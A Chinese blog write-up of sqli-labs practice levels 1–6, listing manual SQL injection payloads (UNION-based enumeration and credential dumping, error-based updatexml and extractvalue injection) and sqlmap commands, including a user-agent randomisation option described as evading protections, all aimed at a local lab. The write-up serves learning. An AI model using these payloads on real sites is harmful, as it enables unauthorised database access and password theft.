sqli-labs漏洞练习1-6关练习收获,sqli手工注入与sqlmap使用

安装流程

SQL注入之sqli-labs环境搭建_sqlilabs环境搭建-优快云博客

第一关(sqli手工注入步骤)

打开sqli-labs练习第一关,输入?id=1尝试查询数据库

查询可以得到id为1的数据信息。

用?id=1'和?id=1'--+判断sql语句为字符型还是数字型

可知sql语句为字符型。

查询一下表格列数

?id=1'order by 3 --+

可知表格共3列。

接下来用下列代码爆出显示位,就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的。

?id=-1'union select 1,2,3--+

可见数据库列表的第二列和第三列被输出出来在页面。

获取当前数据名和版本号。

?id=-1'union select 1,database(),version()--+

可知版本号为5.7.26.

接下来查询该数据库有几个表。

nformation_schema.tables表示该数据库下的tables表,点表示下一级。where后面是条件,group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有user。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容。

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

可知该数据库共四个表,猜测用户信息都在users表中,在这个表下查询一下表内的各字段名称。

该语句的意思是查询information_schema数据库下的columns表里面且table_users字段内容是users的所有column_name的内。注意table_name字段不是只存在于tables表,也是存在columns表中。表示所有字段对应的表名。

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

可知这个表下有名为id,username,password的选项。

在这个表下查询这三项的信息。

?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

可以看到我们就得到了所有的登录用户名和密码。

第二关

和第一关是一样进行判断,当我们输入单引号或者双引号可以看到报错信息,显示单引号双引号错误,且报错信息看不到数字,所有我们可以猜测sql语句应该是数字型注入。

?id=1 order by 3
?id=-1 union select 1,2,3
?id=-1 union select 1,database(),version()
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
?id=-1 union select 1,2,group_concat(username ,id , password) from users
 

第三关

输入?id=1和?id=1"时没报错,输入?id=1'时候报错了。

根据页面的报错信息猜测sql语句为单引号字符型而且有括号,所以我们需要闭合单引号且要考虑括号。

?id=1')--+

我们的猜想正确。接下来按照第一关的步骤构造代码一步步查询就好了。

?id=1') order by 3--+
?id=-1') union select 1,2,3--+
?id=-1') union select 1,database(),version()--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+

第四关

无论是数字还是字符还是单引号都不报错。

发现输入双引号的时候出现报错需要括号。判断是双引号加括号的格式。

?id=1") order by 3--+
?id=-1") union select 1,2,3--+
?id=-1") union select 1,database(),version()--+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+

构建以上代码进行注入,步骤和第三关类似。

第五关

输入数字型注入,发现无论怎么输入都显示you are in.....。而输入字符型注入则显示报错。

尝试用报错注入通过这个题目

?id=-1' and (updatexml(1,concat(0x7e,(select SUBSTRING(group_concat(username),12) from users),0x7e),1))--+

用updatexml函数成功输出了以上信息,尝试用别的报错函数extractvalue注入试试。

?id=-1' and (extractvalue(1,concat(0x7e,(select group_concat(username) from users),0x7e)))--+

同样得到结果信息。

第六关(使用sqlmap)

1、判断是否有注入

python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-6/?id=2" --batch

2、查看所有数据库

python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-6/?id=2" --dbs

3、查看当前使用的数据库

python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-6/?id=2" --current-db

4、查看数据表

python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-6/?id=2" -D security --tables

5、查看列名

python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-6/?id=2" -D security -T users --columns

6、查看数据

python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-6/?id=2" -D security -T users -C id,password,username --dump

### SQLMapSQLi-Labs第一关中的应用 对于SQLi-Labs靶场的第一关(Less-1),可以通过`sqlmap`工具实现自动化的SQL注入攻击。以下是具体的操作方法以及注意事项: #### 工具准备 确保已安装并配置好`sqlmap`环境。如果尚未安装,可通过以下命令完成安装: ```bash git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap cd sqlmap ``` #### 基本操作流程 针对SQLi-Labs第一关的目标URL `http://localhost/sqli-labs/Less-1/?id=1`,可以执行如下命令来探测和利用漏洞。 ##### 探测可注入参数 运行以下命令以确认是否存在SQL注入漏洞,并定位到具体的注入点: ```bash python sqlmap.py -u "http://localhost/sqli-labs/Less-1/?id=1" --risk=3 --level=5 --random-agent --batch ``` 上述命令中各选项的作用分别为: - `-u`: 指定目标URL。 - `--risk=3`: 设置风险级别为最高级,尝试更多复杂的payload[^1]。 - `--level=5`: 设定测试强度为最高等级,覆盖尽可能多的场景。 - `--random-agent`: 随机化User-Agent头信息,规避可能的安全防护机制[^2]。 - `--batch`: 自动处理所有交互式提示,默认选择推荐选项[^3]。 ##### 枚举数据库信息 一旦确认存在注入漏洞,则继续深入挖掘敏感数据。例如枚举当前使用的数据库名称: ```bash python sqlmap.py -u "http://localhost/sqli-labs/Less-1/?id=1" --current-db --batch ``` 此命令会返回当前正在使用的数据库名字。 ##### 列出所有可用数据库 为了进一步了解服务器上的其他潜在资源,还可以列举全部数据库列表: ```bash python sqlmap.py -u "http://localhost/sqli-labs/Less-1/?id=1" --dbs --batch ``` 通过该命令可以获得完整的数据库集合。 ##### 查找特定数据库内的表格结构 假设已经得知某个感兴趣的具体数据库名为`testDB`,那么就可以查询其内部包含哪些表单: ```bash python sqlmap.py -u "http://localhost/sqli-labs/Less-1/?id=1" -D testDB --tables --batch ``` 这里指定了目标数据库并通过`--tables`获取其中存储的数据表清单。 ##### 提取指定表的内容列定义 当明确了某张表之后,下一步便是研究它的字段构成情况: ```bash python sqlmap.py -u "http://localhost/sqli-labs/Less-1/?id=1" -D testDB -T users --columns --batch ``` 这条语句用于揭示所选表(`users`)的各项属性描述。 ##### 导出实际记录值 最后一步就是导出整张表里的真实数据条目了: ```bash python sqlmap.py -u "http://localhost/sqli-labs/Less-1/?id=1" -D testDB -T users --dump --batch ``` 至此完成了从发现漏洞直至提取有用情报的一系列动作。 ### 注意事项 尽管`sqlmap`功能强大,但在实战环境中需谨慎行事,避免触犯法律红线。仅限于授权范围内的渗透测试活动才允许使用此类技术手段。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值